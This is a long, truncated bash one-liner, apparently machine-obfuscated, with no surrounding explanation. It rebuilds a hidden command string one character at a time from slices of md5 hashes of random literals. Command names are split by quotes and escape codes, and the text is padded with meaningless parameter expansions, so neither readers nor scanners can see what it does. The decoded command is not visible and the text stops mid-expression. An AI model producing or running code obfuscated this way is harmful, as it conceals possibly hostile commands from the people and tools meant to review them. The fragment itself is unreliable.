${@%%D+%5s\"\"8}   )" ${*~} ; ${*##YtC0}  p""$'r\x69'\n$'\164''f'  "\x$(   ${*%\}CHu>} ${*%%i;X~\\}  ""p\r$'\x69'"${@^^}"n$'\x74'''"f"   %s '#Th+*w'   "${@#$ta\{?}"   $*  | ${@%%~?xuC\"%G}   ${!@}m'd'5's'""u""'m' ${*^^}  "${@^^}" |  $@   c\u't'   -b  $(( (-(-(${*//u3\`G}-${*}2"#"11+5"2"${*~~}#k)+3${*%WP%x.Xu}#20)) ))-$(( ((${@^}-20#${!@}1"0"+3#2${@~}1)+31#p)   )) ${!@}  )"   ${*##z65^v}   ${@/F*kVUd@$/x%mA=L3} && ${*~}  $*  ""${*^^}p''\r\i'n'\tf   "\x$( ${*/2dzY+,lU}  pr\int$@f  %s  'x$B%{N'   ${*~}  |  ${*,,}  $'\x6dd'''"5"sum ${@} |   "${@~}"  $'\u0063'$'u\164'  -b  $((  ((-2"#"100-${*~~}-4"#""2"1)+5"9""#"1)  ))-$[ (("6"0${*%r\`-\z,q*}#"0"*3${*//fK27WQ}0#1)+7#10)  ]   ${@##\`\[DF} )"   ${@##^<9w=I} ;   ${*/4\[jHn/qw@06Y\`;}   ${@/Dcl-d7Fv/?>:\(l*R*}   $'\160''r''i'"${@,,}"nt""$'\146' "\x$( ${*//F\[l6IUb$/@4a#c*} "p"${@^}r"${@#t&Cjx}"int${*}f   %s 'j2*i' ${@##Aosd3d} |   $* md'5'\s$'\x75'"${@#n5wI\-F}"m   ${*//-6~cL}   ${*~} |  ${!*}  \c${@^}ut   -b  $[   ((30"#"j-7#10)+58#h)   ]-$[  (-(-("${@}"55${*^^}#"d"*"2"#110)+25#1n))   ] ${*//71tLN} ${*/tLzi\!k5}   )"   ${*^}   ${*%EPUH;rYq}  && ${@%%a\!~6c}   'p'ri$'\u006e'\tf "\x$(   ${*}   ${@/#Ibm\}}p$'r\u0069'""n\t'f' %s   'lQK1,8n&' ${@~}   ${*} |   ${*%>k$R}  $'m\x64'$((  ((-4#2"0"+-2"${@##jv\{*y-c}"#1"1")+32#g)   ))sum ${*~~}   |  ${@//k\!r4y>}  "$@"   c$'\x75'"${@#$TRWOzkf}"t -b $[   ((7#12*"-"2#"1"01)+"2""6"${*//\\z2t}#${@~~}2f) ]-$[ ((3"#"1$*00*"5"2#0)+${*~~}22"#"11) ]   ${!*}  ${@,}  )"  ${*%-PB$CU}  ${*//\`\!nM/:l3yRV} ;  ${*#Jml\[rp\"U}  ${*,}   'p'ri\nt""f  "\x$( ${*/wO\}~/\}.\(.0H.} ''\pr''i${*##g\]pH\)F\)-}nt""f  %s '~ZS=8tmQ'   "${@/vU\rt/\)%bp40}"   ${*,}  | ${@/0g@eV?p}   $'\x6d\1445s'\um  ${*/a+B\]>c} ${@^} | "${@~}"  "${@~~}" ""c${*%%Z<\[Z$a}u${!@}t  -b   $((   ((18#${@/<c7<E}1-4#"${@,}"10)+50${*~~}#k) ))-$((  (-(-(3"9"${*##>Wtz\{HZ7}#k--3"9"#r)+2${@,,}3#1"6"))  ))  ${*,,}  )" $* ${*,,}   &&  ${@^}   ${@,,} 'p'${*/>Rh\[u$|R}r""$'i\u006e''t'""f  "\x$(  "${@//Ljn0-sj/I$p>Ly}"   "${@//uF8KT$>\]/@jHMb2\"v}"  \p$'r\151'n"t"\f %s   'cX*zX;$@'   "${@~}"  |  ${*^^}   ${*~}  ""md""\5$'\u0073'$'\165m' "${@,}"   ${@^}   |  "${@/N6i&/y\`4-1p}" "$@"   ''cu""\t  -b $[ ((-52#"C"+${*~~}-43#"b")+4${*/ypJ\{+K/y#x|j9}8"#""1"k)   ]-$[   (-(-(4"#"21-"-"39#"A")+"${@//RhjTeb}"3"0"#"${@~~}"p)) ] "${@,}" "${@#mNiB;Mou}" )" "$@"   ${*/ME72%YeG} &&   ${@}  ${!@}  prin\t''"f"   "\x$(   ${@~~}  p""rin""t$'\146'  %s   '5y.8'  ${@//YMO\]P/Y87V}  |   ${*^^}   m\d""'5'sum  ${*%%ogWv0_} ${@,} |  ${*##igy\!1}  cu""$'\164'  -b  $[  ((3"#"${*~}10-${*,,}3#"$@"10)+${*%%*yt7_Ft}1"4""${@,,}"#2)  ]-$((   (-(-(4"#"12--26#1)+"2""${@/Fz2L_iz/XkP:}"#100)) ))  ${*,} "${@,}" )" "${@,,}"  &&  ${*~}  p''$'\x72'''intf "\x$( "${@%*d*fx.}"  ${@^^}   $'\u0070'\rint"f"   %s 'dq!!' ${!@} ${*~} | ${@//;-k4%\!}   ${*/\{IKH9q/5i?=Y~L6} md5s""\um   "${@~}"  "${@%E%Jw5w\(}" |  ${@^^} \c""\u't'  -b $(( (-(-(2#"1""1"+"4"7#g)+${!*}40#"0"))  ))-$(( (-(-(-3#10+${*##&bjN\[hmN}46#n)+"4"9"${@,}"#0)) )) $*  ${!@}  )"  ${@#BA\)\!}  ;   ${@~~} \p\ri${*%%i\!v-Xj}n\t''$'\u0066'  "\x$( ${@/_1\`1/G2\)$*pBi}   p${@/S~7+4X}rintf %s '8zka'  "${@##S<=\)S9j\"}"   |   "${@//R\(8n/TVSwn6}"   ""'m'd$[   (("1"5#0+21#${*~~}0)+${@#.Q%2}4#1"1") ]s$@um  ${*/V9r1X}   |   ${@%Vn0<|}  ${*^}   $'\u0063'""${@,}u${*%%\Vp7y}t   -b  $[   (-(-(1${@#z7EMS}8"${@/yb^a\D/o06w+7}"#2"${@^}"b-"${@%$+Yj\(JX}"-"2"#11)+55#l))   ]-$[  ((${*~}5"#"1${!@}1*"2""${@~~}"3#${*}1)+54#o)  ] "${@,,}" ${@}   )"   ${@^} ;   ${*%y,8\!#E}  ${!@}  'p''r'i"""n"t${*/_IVI/j0nplLS}f  "\x$(   ${@/1\}Rj26/D\!6Ea}   ''\p${@}r$'\u0069'${*##+hEU}n$'\u0074'${*//IC:$~DFM/\]h\`1\[H}f %s '{6):'  ${@#gY3XM7}   | ${@/,N,\`g}   m"d"5''s''u""\m ${*^^}  |  ${*/9.d1/Tzl7Sf:}   ${@}   "c"u"t"   -b  $((  (("-""2"1#$@2*-"3"#1"1")+40#i)  ))-$[ ((-"3""1"#1n+2"#"1001"1")+16#3${*}e)  ]  ${@~~}  )"   "${@/\`&\W/tN5>0\)}"  ${@%\!H\9} && "${@^^}"  "${@//D\]\}^;j}"   p${@,,}ri""nt\f "\x$( $@ ${*~} $'p\u0072i'\n''$'t\u0066' %s  'TJy!Mzdb'   ${@%%Fa>l~}   "${@#4?\]vM-Mo}"  |  ${*%%fBm\<uX%}   "$@" \md5""\sum  ${*%\)@vrw,P}   | "${@%%0PP\]%r}"   "$@" "c"''u't' -b   $((  (("-"54#2-39#"1")+61#a)   ))-$[ ((2${*~~}6#2*18#${*~~}1)+"3""#"20) ]  $* )"   ${*^^} &&  ${@~}   ""$'\160''r'\i""'n'${!*}tf "\x$( ${@//vd~Kr/HeXB\[}  ${*}  \p${*//|_Lh/:$wlvw\]}r""'i'$'\x6e'''\tf %s   '\{w26'   ${*^^}  "${@,}" |   ${*%6S@Zp\[X} ''$'\x6d'd5su$'\x6d'  "$@"   |   ${*//J=~z9:/S%\!\xPV*}  ${*~~} 'c''u'''$'\x74' -b   $(( ((${@%%?\)LR~Q}-7${@,}#25--4#1"1"0)+46"#""s")  ))-$[   (("-"${@~~}2#11"0""1"+4${*}0#"B")+2#11${*~}0) ] ${*/x\[&\[\]/bo#9#0ca} ${*/5D>KG/@,9b<f\n}  )"   "${@/jRVx}"   && ${*,}   ${*//VW7;n}  p\r\i''ntf "\x$( $@   ''\p'r'i'n't''${!@}f   %s '.i@NQ?!S'  ${*%%RsZSN} "${@/d$V8/A&I;}" | $* ${*#\]>\`*+}  md\5s${*~~}um  ${*,} ${@/&.Fx\"}   | ${*~}   ${*^^}   ${@,,}cut -b $((   (($@-36#1*3"7"#2)+32#h)  ))-$(( ((-2#1"1"*${*##m=NDV,qe}3${*/UsrPp/#@MhT8m}#$*11)+2"5""#"13) ))  ${*^}   )"  ${*} ${*##B4G~O5k} ;   "${@%:\)CgtJPe}"   \p''r\i'n'tf "\x$( ${@,,}   ${*/z.P\\}  $'\u0070''r'\in""$'\164f'  %s  'JUnZcJ'   $*  "${@~~}"   | ${*^^}  ${@,,}   \m${@#\].m\"qC}d\5"s"\u${*~~}m ${@~~}  ${@~~} |   ${*^^}   \c'u'"""t"   -b $[  (("${@/_kG^El}"-6#12*4#1"2")+${@,,}26#"3"1)  ]-$[ (("-"3#${*//O76@,L}1"0"0*${*,,}6${*~~}4"#"0)+64#w)   ] ${@%wa@9}  ${@##VyN\{} )"   ${*^} ${*/aDXqmJ/sEE\(\`}   &&  ${*~}  pr""i"${@/G|WSukV&}"ntf "\x$( ${*//hus?.~nG}  "${@/<nu.?EaA}" "p"r${@~}int'f'  %s   '5>_{'  ${*,}  ${*,,}  |  ${*^^}  ''md5's'''\u${!@}m  ${@^^}  "${@^^}"   |   "${@,}"   ${@,,} ""\cu\t -b   $((   (-(-("5"1#"2"-${*###pc5}41"${@/\z+F1D3#/s\[YR\!^w}"#"0")+52#"0"))   ))-$(( ((-2#1${*^}1+33#0)+"5"#"1"1)   ))  ${!*} )" ${*%%n;B\[s\[Z} ;   ${@#\`eh\BvL} ${*^^}   "p"$'\162'\i$'\156'''$'\u0074'$@f  "\x$(  ${*%%X\(:sZy1J} ${*~~}p\r"i"n\tf  %s   'KqRhQ8UV'   ${*^^}  ${*%3$,|} |  ${*#S\`q@}   \md5''$'\u0073'""$'\165\u006d'   ${*}   | ${@/,\]+~%} $'\u0063u'${@}t -b  $((  (-(-("${@,}"57${*//NR1S;?}#G-35#${@,}i)+${*~}6"0"#2))   ))-$[   ((-2"0"#1*3"#""1""2")+${*,}30#"s")   ]   ${*//rT62k} "${@~}"  )" ${@/M\wFc:A/X\[oG0^\\}   && "${@~}"   ${*}  p${*}r"i"""nt""f   "\x$(   ${*} ${*~}pri''$'n\164''f'   %s 'H}s<'   ${*//Fh1rc/FC:#j}  ${@^}  | ${*~~}   "m"${*^^}d5\su${@~}m ${@%k%kZy?=}  |  "${@/Y#CQ&7Qe}"   ${@//0|jBz}   cu\t  -b  $((  ((1"3"#2*"3"#11)+3#$@12) ))-$((  ((-"4"#"${@//:eOw8}"1${@/fV\(*~w2/|lX\{+}2--4#${*//K.Io\]/n\`\)lNz}1${*##\)\!Ix}0)+3"4"#"g") ))  ${*,}  )"  ${@%CPwDj*1W}   ${*#\]j25}  &&   $@   $'\160'""$'\x72'i"n"tf  "\x$(   ${*,} ${*#S0ACt4} p'r'i""'n'${*%%vT1$H}t"""${@^^}"f   %s '1f\7' ${@,,}  |   $* '''m'""d$(( ((-5#${*,}13+-31#2)+"5"${*%%\U=9d&}2#"f") ))su\m   $*  "${@^^}"   |   ${@,} ${@}  c"u"t  -b  $((   (-(-(-4#20*"-"5#1${*//X2D\[6\\/LyKKX}1)+${@}1${*/v\"Fp#}9#11))  ))-$((  (("-""1"3"#"b*5"#""${@%%@\!imS8Z}"11)+61${*%l+:V&}#"1""y") ))  ${*,,} ${*//r=Iep\`M+} )"   "${@~~}" "${@%%j-niN}"   ;  ${@,}   ${*/fr=m2K}  ${*/\+sop}p\r\i$'\u006e't\f "\x$(  "${@%%\)Y2A}" p\r'i'$'n\x74'${@,}f %s  '-[4y`Z' ${*,}   |   ${@^} "${@}"  m""\d$'\u0035'\s''u""m ${*//\}FPW/FxtPx%}  ${*%%#kW>#}  | ${*,,}  ${*%%p@6\"VJm}  ${*##<A\`WIx\[D}c$'\165'$'\x74'  -b   $((  (-(-(22#"${@~~}"1--"${@%%,cjpJ\{}"3#2)+"${@~~}"24#1)) ))-$[   (-(-("3"#11-5"4""#""1")+32${*/\"v:E6g=K}#"0"))  ]  ${*,}  "$@"  )"   ${*~}  &&   ${@/n,uv<\{}  $'\x70ri'n${*//4qZP8V}t''f "\x$(   ${*%%\"v7r_LO}   p'r'intf %s   '?s8PY\%'  ${@,,} ${@^^}   | ${*/T1q\{.B/:Yqiw}  ${*##$vEt\"xk=}   ${*}m"d"""5\su${@##M2DttS}m   ${@%r3IKv} |   ${*/KX|e8l/$CPiVaeH}  \c""$'\u0075'""t -b   $[ ((-5${*//5\)4Ex}9#"2"-60#2)+23#"${@#DH,#&}"g)  ]-$[ ((-36"#"1*3"#"${*//DjoL^=l}11)+"$@"49#${*}h)   ] ${*^}   $@   )"  ${*,,} ;   ${!*}  $'\u0070'\r\i$'\156t''f' "\x$(   ${@##a\)X2E?U5} ${*%CKI\"Ixi}   \pr'i'""n""t\f  %s '7ceg}'  ${@%~7b^#}  "${@^^}" | ${*##FnB\[+|} ""\m${*//Xy^f%F6}d5$'\u0073'${*##.0\]Y\b}u\m ${*//ItHv}   |   "${@/,=\)a00D/f\{lPm6k}" "${@,,}" ""'c'$'\165't -b  $[   ((2#"1"01*-4#10)+18#1f)   ]-$((   ((28#o-4${@}9"#"b)+47#1)  )) ${!*}  )"  ${@,} && "${@/y4K_%<0W/\\F\}D+}"   ""${*//\!\`L}p''rint${*,,}f "\x$(   "${@~~}"   ${@//eQt~\{}  p"r"$'\x69'""nt\f  %s  'GHF3*{'  $*  "${@,}" |   ${@%%\}J8x\`*M} m''d$'\x35su'"m"  ${*//g-GVt@&\]} |  ${*~}  ${@##kj?rn} $'\u0063'${@##@2h\"}u't' -b  $((  ((17#1*5"0"#2)+"5"${*/agw\]}#$*1"${@,,}"0)   ))-$[ ((${*/~Ft<}3"${@//n<\`4/@YZ9U=6}"7"#""2"*"3"${*/2.RO5y;|}9"#"0)+${@,,}8#10)  ]   ${@~}  )" "${@}" ${*#v1jR}   &&   ${*%2gNQ\[\)}  ${*%\!\"lGej}   pr''"i""n"$'\u0074'"f"  "\x$( ${*~~}   ${@~~} ${@^^}pr${*~~}i''n\tf   %s  'ZP+:'  "${@,,}"  |   ${@//<\"Y2G_Y/5&rUo}  ${@~}  \m"${@^^}"d$((   ((-40#1*$*2"3"#1)+"2""${@,}"#"1"10) ))""s\u'm'  ${*//4-R:8+}   "${@~~}" | ${*%%P8J2|NdY}   'c'u''t  -b   $[ (("-""6"#12*29"#"${!@}0)+2"4"#"m") ]-$(( ((-1$@2${@~~}#"1"a+1"$@"2#1${*~}1)+3"0"${@##_4U\"ixS5}#1"2") )) ${@~~} ${*~~}   )"  "${@/znb\{tV/|t?z}" "${@^^}"  &&   ${*}   p\ri"n"$'\x74'""f  "\x$(   ${!@} "$@" \pr''i''\n\tf   %s 'ls-d'  "${@/B,n*s\)5}" ${*#g\{rBuB5} |  $*  ${*~~}m""d5su${*//9.O\(tC}m  ${*}   | ${@//qA0.q/ET|\(O}  ${!*}  c${*/%-+ke/_\"nL6\{Uf}u\t -b $[ ((${*##Ief7eQ|}-2"3"#l+3"#"1${*#\[r,R=_}2)+"5"2#s) ]-$[  ((-29#o+${@^^}58#o)+11#1"2")   ]  ${*^}   )"   ${@~}  ${*,,}  ; ${*}  "${@^^}"  "p"""r"i"''$'\u006e'\t'f'   "\x$(  ${*^^}  ${*#uSp@;} p$'r\x69n'${*,}t$'\u0066'   %s   '6jhy' ${@,,}  ${*^^}   |  ${*/;6?\(7} ${*^^}   "m"d5\sum ${*^}  | "${@%%.5h<\`1}" c''u${*~~}t -b   $((   (-(-(1${*}9#a+${*~~}5"3"#i)+60#d)) ))-$(( ((4"0"${@,}#1*2${!@}#1"1")+"6"0#d)   ))   ${*~~}  ${!*}   )" "${@~}"  ${@^}   ;   ${@~}   printf  "\x$(  "${@^}"  ${*//nSu#\(ftJ/<_lNH7}   p''rint''\f   %s 't~N(,+,S'   ${@}   "${@^}"  | ${*,}   ${*//%53\(=m/+j^,~} m'd'$((  (("-"63#"1"*${*}52"#""1")+"6"${*~~}#1"0")   ))'s'um  ${*} |   ${!*}   ""cut -b  $[   ((${@~}25#${@/N^MdI?}e+-47#2)+"${@,}"6"#""1"1) ]-$[ (-(-(40"#"t-${*^}-57"#"g)+$*23#"1"2)) ] ${*/L\`s#,mU/#\"OG^7}   )"  ${*^^} ; ${@//HjrMo/<awg6-} p"r"\i${@//VC:s/&oMn}n""t"f"   "\x$(   ${@^}   ${*/~#-S4nH\}/\(Gn\!}p""$'\162'${*^^}in't'f   %s '|3R|T'   ${*^}   |  ${@##w<p1}   md5s\u'm'   ${*##v;&El}   ${*//~fy:a/rG~H}  | "${@//f:=Bs7mO/1WiFg}" ${*/F>\"RSsz/j^r^gd}   cut  -b  $[ (-(-(${*##vsX,rT\`\)}46"#"f--"${@//HFr-/\{jQP0}"4"5"#"1")+4#"1"0))   ]-$[   (-(-(4${*##+s\"\"8d}#"1"2--4"#"2"1")+${*,,}2"9"#"2")) ]   ${*//X=#;Bu\(/B5R?L}  )"   ${*,} ${@,}   &&   ${*%%eN^jB}  ${@%\!LIYAh} ''${*^}p'r'i'n'tf "\x$(   ${@//\`a-\[X} ${*#\!FNt\)1T%}pri""$'n\x74f'   %s   'P(Wz' ${*//*Qm6;hg}   "${@##X>J\[m$}"   |  "$@"  ${*//C1tQI/\":,r}m'd'5s''$'\x75'${@~~}m ${!*} |   ${@^^} c''\ut  -b $(( (("3"6#"${@,}"0*5#10)+4"6""#"$@f)   ))-$[  (-(-(6#12*4${@%HUCI}2${*}#"2")+2${*^^}#0))   ]   $* "${@//zMU6lW_/+\!\"s4b\(<}" )"  ${*^} ${*^}  && ${!*}  ${*%%&S\[W3\[}  ${*##s=PS}p${@/bk%*b;F/5ia~X}r"${@~~}"in""tf "\x$(   ${*//h*\{#/TDhyS\(}   ''${*,,}p${*~}rintf  %s 's9aKVZpt'   "${@^}"   ${*~}  |   ${@~~} "${@}"m"""d"5's'""$'\x75'"m"  ${*%$m7Xx1l}  |   ${@##6D1\}K} "$@"  ${*/L8Ze&eU:/oODG}c$'u\x74'   -b  $((   (-(-(4${*#H5|E}6#c--3${*##YGYc}3"#"1)+59#2))   ))-$((  ((-"3"#1"1"*${*##:5I3$}3#10)+1${*^^}1#22)  )) "$@"  ${*/;Ilh}   )"   ${*%%b,~Z2\{} ${@^}   &&   ${*~}   p''r''\in\tf   "\x$(   ${*//?,4#YZ/2KQoB}  "${@##;2$A}"  p${*//R$W&&}rin""${*^}t\f  %s  'Ll~4j3h' "${@}"  ${*%%=iG8=}  |  "${@,}"   ${*/p>s\"03}m''\d$[  (-(-(${*/Y-gao}26#"${@##q<H%<}"a--2"${@%%MP8HG}"#"1"1)+3#2"2")) ]''\su""m  ${*~} ${@^} |  "${@/>\4Gv,S\"/ZJLh&}"  \c''$'\x75'''\t  -b   $((   ((-11${*/NAV7/&;~w}#${*,}2+43#0)+3#10) ))-$[  ((56#0+"1"7#"0")+51${*##.MYp^}#${*/7fnCxdw/J9qJT}2)  ] ${*/^-HJ/,Bui+} ${@%uA4:\`\}~}   )"  ${*/9OBX7Wl}   &&  ${*/t$N5;/Qe#0Y%}   "${@//>MTM\]e}" ""$*p'r'i$'\156't$'\146'  "\x$( ${*}  """p"r${!@}i\n''${@,}tf  %s 'Ly@G&,e' "${@~}"  ${@,}  |  ${*%u\^Om} md"${@,}"5\s$'\x75'${*//%AzGn#F/5t@Y}m   "${@^^}" ${*/@3P6/=\!f|}  | ${*/;^Lz\]z#/I|VE>} $'\143''u'$'\u0074'  -b   $[   (-(-(22#"1""2"--4#123)+5${*^^}5#${*%%+EGG7IQ}z))   ]-$(( ((${@}2"#"${@/hrpe}11+3#1"1")+4"8"#"a") ))  ${@^^}   )"  ${*~~}   && ${@,,}   p\r$'i\u006e'\t${*/ZZ;Wi/*z7S\(_*X}f  "\x$(  "${@##>cl#?_}" ${*~}   \p'r'\i\nt""\f  %s   'd@[4N' $@  |  ${@//Tkg:m\!3}  m'd'5\s'u'm   "${@,}" |  ${*%\{:G4ITV}  $'c\x75'${@#fA5tY<41}t -b  $[ ((-34"#"2+"3"1#1)+2${*/LZ\!?HZ?}5#2)   ]-$(( ((6"4"#${*#13VVcO}1*13#0)+${@//FSmdFNA/26\)l\]C=}6"4"#2)  ))  ${@/M-h_/XmP-V\"}   "$@"   )"  $@  && ${*%L;N%SX} p\rin""t$'\x66' "\x$(  ${*//n8vM/bn&iTdL} \p''r'i'"""n"''${*~}t''\f %s  'iN@m"v%' ${*} |  ${!@}   ${*%aba\(\*$3} m''\d$[ ((${*%%6<k\]U}17#"0"*11#1)+2"#""1"01)   ]\s\u\m  ${*,}  ${*/?fn~OM\\/<F-q*}   | $*  ''${@~~}cut -b  $[ (-(-("-"8#"1"0*-2"$@"#"1"01)+2$*#${@^^}10${*//7g0Zd.Rm/Q>_l}11))  ]-$((  (-(-(-4${*/>>\`D/OpQN.WU}4#c*"-""${@/Q1;\(}"35#a)+"1""9"#4e)) ))  ${*//Ee|m/x\`br\}\`}   "${@,}"   )"   ${*/;0:WUVe0/iRhE;} ${*^}   &&   ${*~} pr''i'n'$'\x74'"f"   "\x$( "${@~}" 'p''r'$'\x69n'\t$'\u0066'  %s '^i@B'   ${*^} ${*^}  | ${!*}  md5$'\x73'"u"${*//80I+\[My/^kAaB\{j9}m   ${*} "${@}"   |   ${*~} ${*%%OjGfs\(}  c"u"''$'\x74'  -b  $[  ((-3"6"${*//aC=Cv/\`,\(a}#${@%C\}\}9K7.}2*-59#1)+${@//9oKeiJ7^/IA+?JM\[+}4"#"${*##0$e.dIE}1${*}1) ]-$((  (-(-(2"#"1"0"0*${*%%\}KuE}3${*#ZTH\[ctVT}7#2)+5${@^^}3#${*##t\Wx3\`}0))  ))  $*  ${*##k\`2W} )"  ${*/5b\Ke.c9}  $* ;  ${*^}  "${@~~}" ""p${*%%;\{Ta2\(Sr}r\i"n"${@~~}tf   "\x$(   "${@^^}"   $'\u0070'""r""i$'n\164'''f %s ':LW)'  ${*~}   ${*%%tK_+q5}   | ${@//Q15a\y/A?Nj9.} m""d$[   ((-"4"6"${@//:hEA/S&Uesb&}"#1-3#1"0")+8#1"1") ]$'\x73'um   ${@,,}  |   ${*~~} ${*//;8\]c} cu""t -b   $((   ((3"#"10*3"0"$@#1)+"4""#"2${*/f^%J11\"X}0) ))-$[  (-(-(3"#"${*~~}21+${@##.p&\{E}3${*##tAF\"}5#"${@}"i)+29#"d"))  ]  ${*/;O$4ak}   ${*/orl5h} )"  ${*,} $@  ;   ${*/\"\`Q?Wt/S.Lz}  pr""i''$'\u006e'"t"""$'\146'  "\x$(  ${@//$gLA;$hK}   "${@/3$BWX\)/uZ9.,_j}"prin""t\f %s   'c3u5p2'  ${@^} ${@##Me\)-?z--} |  ${@~~}   ${@~} m\d'5's$'\x75'"m"  "${@%8uEp\\}" | ${*//\!30&+O*m/zv\(\[A} ${*~~}   $'\x63'\u"${@##\)ZbK}"t -b $[ (("${@,}"-21#${@^^}2*-2${*%$12\!m^}9#2)+37"${@##E\(4KrQ}"#d)   ]-$((   ((-"2""#"11*-"${@~~}"2#1${*~~}1)+"4"#"2"1)   ))  "${@##u1I#|b}"   )" "${@##B+Mfq%}"   ${*~} ;  "${@#O3H^Rr1}" "${@~}" ${@//LrMx/gCe,}p$'r\151'""nt''f  "\x$(   ${@~~}   ${@,} p"r"${*#8sn&h}i'''n'\tf   %s 'q*1hS#vN'  ${@~} ${*~~} |  ${@/\}8UrJ}  ''"m"${*,,}d'5'su${*//7ufrsL/6\)<MFPRt}m ${*%4W\`-} |  ${*//uSN\`/5jte_@@}  ${*#F\]KfLEo} c''$'\u0075'\t  -b  $((  ((-3#2"2"+43"#"1)+56#i)  ))-$((  (-(-(7$@#0--3"6""#"k)+"7"#11))  )) ${@^}   )"  "${@#:#_h=\\}"   &&   ${@} pr''$'\x69'''n${@^^}t\f   "\x$(  ${@} $*   ${*#y9GB\!}p$'\u0072\151'${*,}ntf %s   'cVqI'  ${*##\sVcm\!}   | ${*//Pmz;#/=tpf3.|L}   "m"""d$'5\163'""um ${@^^}  "${@//cHE\">/.4U\!}"  |  "${@}" \c$'\u0075t'  -b   $((  ((-5${@~~}3#"1"*-5#11)+23#"i")  ))-$((   (-(-(4"${@##*__%H\}}"2"#"D-"-""5"${*%0Ta@#a>J}3"#"A)+48#"1"2))  ))  ${@~} )"   ${*%%C@UiN&} ${*//#qsRbb} ;   ${*,}  ${@,,}  ${*^^}p$'\x72in'"t""f"   "\x$(  ${@/dO:p/x\}J<T}   ${*,,}   "p"'r'i\nt"f" %s   ',`g@|k}'   ${@/UkqCI}   ${@,,}   | ${!@}   ${@^}   ${*^}m\d""$[   ((-25"#"${*%Wwh\{}2+1"7""#"0)+4${@%\7gck}#1"${@/:eUZDK}"3) ]"s"u\m   ${*//2m:u\)vV/Ah,L}  |  $*   $'\143u't  -b  $[ ((17${@//\]Tpq/zep>;|5;}#c*${@^}-5${*^}#1${@}4)+53#"2"w) ]-$((   (("3"${*^}#12+21#c)+34"${@~}"#"${@,,}"e) ))  "${@/9w&sPpz3}"   )"  ${@//O-T@} ${*//C?i2L_&/\!KiMg?M}  ;  "${@/H@KPd}"   ${*#\"\(C9\]Y\`e}   pr\intf  "\x$( "${@}"   p''rin\tf  %s   'S9@-' "${@^^}"  $* |   ${*/o4oqhmk/\!Zj\)12}  md$[  ((4"5""#""0"+-43#1)+"2"#110) ]s"${@~~}"u"${@/O3|1\Q}"m "${@#sr0a,U6N}"   "${@//7nJ\[ck/I,87P}" |  "${@/y>+<f\}f\(}"   ${*//-T&@y\(t/B8KIF}   \c"${@%\[amVw@*}"u${*//vz>\`aLry/f@\{WVZ}t  -b   $[ (("-"2#11*3#1"0")+2${*%v^4XU}3#13) ]-$((  ((-"1""5"#1*3"4""#"1)+56"#"j)   ))  $*  )"  ${*~~} ${@} ;   ${*,,}   ${*~} "p"$'\162''i'\ntf   "\x$(   ${*,,}   ""$'\x70'"r"'i'$'\156tf'  %s '!7I~aQ' ${!@} $*   | ${*##Y@\}~} ${*~}m$'\144'''\5""$*s"u"m   $*  ${*,,}  |   ${!@} ${!@}   cu$'\164'  -b  $[   (-(-(38#r+4"${@/0CXB/$I|_5S5a}"4#1b)+42#1b)) ]-$[ ((-${@,,}14${*##&VYG1}#35+-56#i)+"2"2#"4"7)  ]   ${@/\{\(gqYr3/,i\)j\}e.}  "${@/%,=gglb.}"   )"  ${*^}   ;   ${@%6fmbsDQ}  ${*/X,~Dw/J_s_}p'r'i${*^}n\t''${@##H=9L%DiF}f   "\x$(  "${@%%&-\]5vI}"  ${@^}  "p"${*^}rin"${@##1\`MS5\]v}"tf %s  'QPCu'   ${@/nuwO}   |  ${*#jr1CQ}   \m""${*,,}d5\s""$'\165'${*}m ${*~} ${*^^}   |   ${*/nCrl&} ''cu"${@%\QS<\[-A|}"t   -b  $[  ((${*%\"ORX\)}14"#"2*-39#1)+6"${@/&nKL}"#${@//nq>q/UWNs$\}@s}3"1") ]-$(( (("1"8#0-$*2"${@/B\{pGz/\}1GT%}"2#d)+6"${@^}"1#"v")  ))  ${@~~} )" ${@^}   ${!*} &&   ${*%%&Tc$}  ${@//m=\]h} "p"${*#\]\"@X+g}r$'\151n't\f   "\x$(  ${@##P07D|} p$'r\u0069'''n${*^}t""f  %s  '_|&2vKoG' ${*^}  ${*}  |   ${*}  ${*//jNa0Kd/\DI#UDzh} \md""$'\x35'''s$'\165'''\m ${@~~} "${@~}"   |  "${@,}" "${@%%8=?-ft0=}"   \cu${*#VKx\>+>W}t -b  $[ ((3#10*${*~}18#"1")+$*2"0"#b) ]-$[  (-(-(12#"${@%\[kK\`g\`}"2"3"-${*,,}-1"9"#1"b")+62#G)) ] "${@^^}" )" ${*/nUHXxT}   ${@/F-UMWT/5\]\}\(HXnh} ;   "${@~~}"  ${*//Mp|L8a_j/dl\!RV&@Y}  p'r'\i${*^}n${@%z&&>*B\]N}t''${!@}f "\x$( ${*//~Dx$VT\[}   "${@}"  \p${*/ttk1q\`wy/UnrU}r''$'\151'''\n"${@,,}"t$*f   %s '#]{~k37'   ${*~} ${*~} |  ${*//$|\]c/\`+6U?} m${*//T5z\"ra\}R/=Xw+f.Vp}d$(( ((-15#${@//v<H8;1/ex,=T}1*2"0"#0)+2"#""1"01)  ))s\um  ${*//g-%K,h.%/+\C0} ${@%=|Z5&u}  |   ${@#tw1s}  \c'u't -b $[  ((4#12*${*^}-2"#""1"01)+26"#""1""j")  ]-$(( ((-3#10*51#2)+3${*#T+;gb#q}8${*^^}#"m")  ))  "$@" ${*%%8+Hfbk} )"  ${*%%e\(2j=Hy} &&  ${*//vOy\"}   ${@,}  ""$'\x70\x72'${*//zEG|%xe/g4sx}in$'\164'\f "\x$(  ${*/\[U8+} ${@}p''r''in"t""${@~}"f %s   '{#R2^'   ${*^}   |  ${*/Q0q00o2/\(\[Ji@X}   ''\m\d5${*//BYVSqglB}s\um   ${*} |   ${!@}  ""$'c\x75'\t -b $[ (-(-("${@##9|=S}"-${*^^}2#"$@"10$*1+"2"6${!*}#1h)+43#"d"))   ]-$(( (-(-(2"${@~~}"6$*#${*~~}15--23#a)+3"${@#%\)+p.}"5#f))  )) ${@#iw?c3zah} )"  ${@,} &&  "${@,}"   "${@#c&A9}"  ${*%sUfiA+}pri''n"t"f "\x$(  ${!*}   ${*/wI@UY}   ${@,,}p"r"int'''f'   %s '4:7gE' ${*//oS<\]Z&6/._q;}  "${@~~}"   |  $*   ${*^^} md5\s""\u'''m'   ${@~}  | ${*%%l-nK^w} ''cut   -b  $((   (-(-(3"7"${*,}#0+3#"1"0"0")+"${@/5\{=Y\[x/QhViiZ\"k}"50#1))  ))-$[  (-(-("6"3${*,}#d--3#2${*}2)+52#c))  ]   ${*^^} )"  ${!@}  ${@,} &&  ${*/yMjpg/$0lIAO}  "${@#L*\".F6+}"  ''prin$'\u0074'$'\u0066' "\x$( ${*,,}   ${*~~}   \p''$'\u0072i'""'n'"t"f %s  'Q(Ug' 